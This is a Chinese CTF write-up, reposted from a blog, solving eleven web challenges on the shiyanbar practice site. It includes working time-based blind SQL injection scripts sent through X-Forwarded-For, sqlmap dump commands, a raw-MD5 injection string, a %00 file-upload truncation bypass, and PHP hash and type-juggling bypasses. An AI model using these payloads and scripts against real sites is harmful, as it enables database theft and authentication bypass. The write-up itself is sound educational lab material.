实验吧CTF(Web)-writeup
作者:互联网
实验吧CTF(Web)-writeup
从今天开始做实验吧的Web题,每天一道(◦ "̮ ◦)
1.后台登录
题目链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
进入题目,界面很简单,一个输入框用来输入密码,点击提交查询跳转
随便输入一个123测试一下,显示密码错误!
F12查看一下源码,发现注释掉的一段文字:
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
md5($password,true)
将MD5值转化为了十六进制
首先我们需要找到一个字符串,这个字符串经过md5得到的16位字符串需能实现sql注入。根据sql注入知识知道字符串通常包含or,还需匹配select语句中的引号,最终得出我们需要的字符串应包含 or ’ <xxxxxx> 。
满足这样的字符串很难找到,题目url中 “ ffifdyop ”恰好满足要求。将ffifdyop输入密码框,成功得到flag。
2.天下武功唯快不破
题目链接: http://ctf5.shiyanbar.com/web/10/10.php
题目提示是 看响应头
进入题目,只有两行文字,提示要求速度快,猜测可能是上传数据的速度。
F12查看源码,有一行被注释掉的提示
将找到的数据使用参数 key POST上传
根据题目提示,使用burpsuite抓包查看响应头(可以直接在firebox网络中查看)
发现FLAG,根据==
得知用base64解码,得到P0ST_THIS_T0_CH4NGE_FL4G:HEO8n49Uq
使用hackbar插件发送POST请求key==HEO8n49Uq
无事发生.jpg
重新来一次发现响应头中的FLAG内容变了(*゚Д゚)つミ匚___
这时就知道题目说的“快”是什么意思了
接下来就需要上脚本了 (⊙_⊙;)
import requests
import base64
url = 'http://ctf5.shiyanbar.com/web/10/10.php'
result = requests.get(url)
flag = base64.b64decode(result.headers['flag']).split(':')[1]
val = {'key': flag}
ans = requests.post(url=url, data=val)
print ans.text
运行,成功得到flag ♪(´▽`)
3.who are you
题目链接: http://ctf5.shiyanbar.com/web/wonderkun/index.php
进入题目,显示出本机的IP地址。
尝试伪造IP头,这里使用在HTTP请求头中添加X-Forwarded-For来伪造IP
(伪造IP头的几种方法见 https://blog.csdn.net/qq_40657585/article/details/83755393 )
发现返回了输入的内容,尝试后发现逗号被过滤并截掉了逗号后的内容
题目提示信息是“我要把攻击我的人都记录db中去!”,猜测X-Forwarded-For的值先被写入数据库再select出来。
没有任何提示信息,尝试时间盲注
时间盲注:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
获取数据库名称长度
设置timeout为5秒,如果连接超时,则状态码和length一栏为空。由此可以判断连接是否超时
由于逗号被过滤 (SQL注入之逗号拦截绕过 https://www.cnblogs.com/nul1/p/9333599.html ),构造语句
select 字段='1' and (select case when (length(database())=4) then sleep(5) else 1 end) and '1'='1
即
payload = 1' and (select case when (length(database())=4) then sleep(5) else 1 end) and '1'='1
最后得到数据库名称长度为4
获取数据库名称
使用python脚本爆出数据库名,代码如下:
import requests
import string
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str_all=string.lowercase + string.uppercase + string.digits
db_name=''
print str_all
result = requests.get(url)
for i in range(1,5):
for str in str_all:
headers={"x-forwarded-for":"1'and (select case when (substr(database() from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (i,str)}
try:
res=requests.get(url,headers=headers,timeout=5)
except requests.exceptions.ReadTimeout,e:
db_name=db_name+str
print "database name:",db_name
break
print 'result:',db_name
得到数据库名为web4
获取表名
和获取数据库名类似。可能有多个表,所以要多加一个循环,使用偏移量offset来选定相应的表
脚本如下:
# -*- coding: utf-8 -*-
import requests
import string
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str_all = string.lowercase + string.punctuation
tables = ''
result = requests.get(url)
for no in range(0, 2): # 假定有3个表
table_name = ''
for i in range(1, 5): #先得到表名的一部分进行选择猜测
for str in str_all:
headers = {
"x-forwarded-for": "1'and (select case when (substr((select table_name from information_schema.tables where table_schema='web4' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (no, i, str)}
try:
print headers
res = requests.get(url, headers=headers, timeout=4)
except requests.exceptions.ReadTimeout, e:
table_name = table_name+str
print "table name:", table_name
break
tables = tables+table_name+'\t'
print 'result:', tables
运行得到clien…和flag两个表名,很显然对我们有用的是flag表名
获得字段名
同上,就不再写了。其中:
headers = { "x-forwarded-for": "1'and (select case when (substr((select column_name from information_schema.columns where table_name='flag' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (no, i, str)}
最后得到flag字段为所需字段名 。
获取flag长度
同获取数据库名长度类似,脚本如下:
# -*- coding: utf-8 -*-
import requests
import string
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str_all = string.lowercase + string.punctuation
m_length=0
result = requests.get(url)
for i in range(0, 50):
headers = {
"x-forwarded-for": "1' and (select case when (select length(flag) from flag limit 1)=%d then sleep(5) else 1 end) and '1'='1" % (i)}
try:
res = requests.get(url, headers=headers, timeout=4)
print headers
except requests.exceptions.ReadTimeout, e:
m_length = i
break
print 'result:', i
得到数据长度为32
获取flag
最后一步就是要获取flag,方法和获取数据库名一样,暴力破解
脚本如下:
import requests
import string
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str_all = string.lowercase + string.uppercase + string.digits
flag = ''
result = requests.get(url)
for i in range(1, 33):
for str in str_all:
headers = {
"x-forwarded-for": "1'and (select case when (substr((select flag from flag limit 1) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" % (i, str)}
try:
res = requests.get(url, headers=headers, timeout=4)
except requests.exceptions.ReadTimeout, e:
flag = flag+str
print "database name:", flag
break
print 'result:', flag
运行后获得flag:cdbf14c9551d5be5612f7bb5d2867853
参考:
https://www.jianshu.com/p/5d34b3722128
https://www.cnblogs.com/qincan4Q/p/9684032.html
https://blog.csdn.net/sdb5858874/article/details/80656144
4.这个看起来有点简单
题目链接: http://ctf5.shiyanbar.com/8/index.php?id=1
进入题目,显示表格, 看样子题目是SQL注入
使用sqlmap进行SQL注入
- 首先获取数据库
python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs
得到数据库有 information_schema、my_db、test三个
看出有用的是my_db
- 获取my_db中的表名
python sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db --tables
得到表名news、thiskey
显然要使用thiskey
- 获取字段名
python sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey --columns
得到字段k0y
- 获取flag
python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey -C k0y --dump
成功获得flag:whatiMyD91dump
5.NSCTF web200
题目链接: http://ctf5.shiyanbar.com/web/web200.jpg
进入题目,是一张图片,上面是一段php代码,要求对密文解密。
读php代码,涉及的函数有:
- strrev(str):对字符串进行翻转
- substr(str, start, length):取字符串子串
- ord(str):返回字符串第一个字符的ASCII码
- chr(int):返回ASCII码对应的字符
- base64_encode(str):对字符串进行base64编码
- str_rot13(str):对字符串进行rot13编码/解码
所以这段php代码的作用是:
首先将传入的字符串翻转,再将翻转后的字符串中的字符ASCII码值加1。将得到的新字符串用base64加密,再将加密后的字符串翻转,最后将得到的字符串用rot13加密。
我们只需要将过程逆推一遍即可得到解密的字符串。
php代码如下:
<?php
$initial_str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$initial_str=str_rot13($initial_str);
$initial_str=strrev($initial_str);
$initial_str=base64_decode($initial_str);
$new_str='';
for($i=0;$i<strlen($initial_str);$i++){
$j=substr($initial_str,$i,1);
$z=ord($j)-1;
$j=chr($z);
$new_str=$new_str.$j;
}
echo strrev($new_str)
?>
运行得到flag
6.头有点大
题目链接: http://ctf5.shiyanbar.com/sHeader/
进入题目,显示Forbideen,给的提示是
- 需要安装.net framework 9.9
- 在英国地区
- 使用IE浏览器
修改http请求头即可
在User-Agent中添加 .NET CLR 9.9;IE 对应要求中的安装.net framework 9.9和使用IE浏览器
在英国地区这一点,我开始的想法是伪造IP地址,试了下不可行。
然后看了别人的WP,原来只需要修改Accept-Language,将en-gb作为首选项即可。
这些可以在firefox中直接修改,也可在burpsuite中抓包修改。
最后得到flag
7.看起来有点难
题目链接: http://ctf5.shiyanbar.com/basic/inject
进入题目,显示一个登录框,和几条报错信息(题目好像有点问题?)
用sqlmap跑了一下,发现可以时间盲注
(看其他的writeup可以直接用sqlmap爆出来,这里失败了,不知道为什么(눈_눈))
最后得出password
脚本如下:
import requests
import string
str_all = string.lowercase + string.uppercase + string.digits
flag = ''
for i in range(1, 10):
for str in str_all:
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(5) else 1 end and ''='&pass=&action=login" % (
i, str)
try:
res = requests.get(url, timeout=5)
except requests.exceptions.ReadTimeout, e:
flag = flag+str
print " re:", flag
break
print 'result:', flag
8.上传绕过
题目链接: http://ctf5.shiyanbar.com/web/upload
进入题目,简单的文件上传提交按钮
随便上传一个txt文件,提示仅允许上传jpg,gif,png后缀的文件
上传一个1.jpg试下,又返回提示需要上传后缀名为php的文件 (╯‵□′)╯︵┻━┻
题目是上传绕过,最常见的就是%00截断。
%00截断原理
截断的核心,就是 chr(0)这个字符
先说一下这个字符,这个字符不为空 (Null),也不是空字符 (""),更不是空格。
当程序在输出含有 chr(0)变量时
chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生
(这篇博客写的很详细 参考一下 https://blog.csdn.net/zpy1998zpy/article/details/80545408 )
先用Burpsuite抓包,然后Send to Repeater
尝试修改filename,在这里截断,失败了。
再尝试修改上传路径
在hex中将php.jpg中的.的2e改为00
然后Go,成功得到flag
9.Guess Next Session
题目链接: http://ctf5.shiyanbar.com/web/Session.php
进入题目,三个随机的数字,一个输入框用来输入猜测的下一个数字进行提交。
点击View the source code查看源码
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
首先了解一下php中的Sessions:
PHP Session 变量
当您运行一个应用程序时,您会打开它,做些更改,然后关闭它。这很像一次会话。计算机清楚你是谁。它知道你何时启动应用程序,并在何时终止。但是在因特网上,存在一个问题:服务器不知道你是谁以及你做什么,这是由于 HTTP 地址不能维持状态。
通过在服务器上存储用户信息以便随后使用,PHP session 解决了这个问题(比如用户名称、购买商品等)。不过,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久储存信息,可以把数据存储在数据库中。
Session 的工作机制是:为每个访问者创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,亦或通过 URL 进行传导。
得知这三个随机数是根据cookie来生成的,所以只需要改变cookie的值为空,提交的password也为空即可符合条件。
使用Firefox修改cookie值并发送请求
返回flag
10.FALSE
题目链接: http://ctf5.shiyanbar.com/web/false.php
进入题目,两个输入框输入用户名、密码。
点击View the source code查看源码
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
首先了解一下sha1算法:
PHP sha1()函数
sha1() 函数计算字符串的 SHA-1 散列。
sha1() 函数使用美国 Secure Hash 算法 1。
来自 RFC 3174 的解释 - 美国 Secure Hash 算法 1:SHA-1 产生一个名为报文摘要的 160 位的输出。报文摘要可以被输入到一个可生成或验证报文签名的签名算法。对报文摘要进行签名,而不是对报文进行签名,这样可以提高进程效率,因为报文摘要的大小通常比报文要小很多。数字签名的验证者必须像数字签名的创建者一样,使用相同的散列算法。
在这里简单总结一下利用md5()和sha1()函数的漏洞:
- PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
- md5()和sha1()不能处理数组。
本题可通过上传数组的方式绕过。
提交http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2
得到flag
11.你真的会PHP吗?
题目链接: http://ctf5.shiyanbar.com/web/PHP/index.php
打开链接,只有一句 have a fun!!
查看源码和请求头,在请求头中发现了hint:6c525af4059b4fe7d8c33a.txt
访问文件6c525af4059b4fe7d8c33a.txt,是一段php代码,进行代码审计:
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");
die("have a fun!!");
}
//遍历POST。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
foreach([$_POST] as $global_var) {
//同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。
foreach($global_var as $key => $value) {
$value = trim($value); //去除value两侧的空白字符或其他预定义字符
is_string($value) && $req[$key] = addslashes($value); //addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
}
}
//函数功能:判断是否为回文数字(如121)
function is_palindrome_number($number) {
$number = strval($number);//字符串转换函数
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
//判断是否为数字
if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";
}elseif($req['number']!=strval(intval($req['number']))){ //intval() 函数用于获取变量的整数值
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"])); //strrev()反转字符串
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;
?>
由此可知,题目要求:
- 不是数值型数字 is_numeric()
- 不能是回文数 is_palindrome_number
- 该数字翻转后的值应与本来的值相等
- intval()函数返回的最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。所以intval(strrev(‘2147483647’))在将2147483647翻转后由于超过了最大值2147483647,返回值仍为2147483647,这样可满足2、3点。
- 函数 is_numeric() 对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。
从 is_numeric() 函数源码(下图)可看出对于第一个空格字符会跳过空格字符,再进行后面的判断。
所以我们可以构造number=%002147483647或number=2147483647%20
使用Firefox的hackbar提交POST数据,成功得到flag
标签:Web,http,writeup,flag,CTF,str,shiyanbar,php,com 来源: https://blog.csdn.net/Lebenslang/article/details/88902884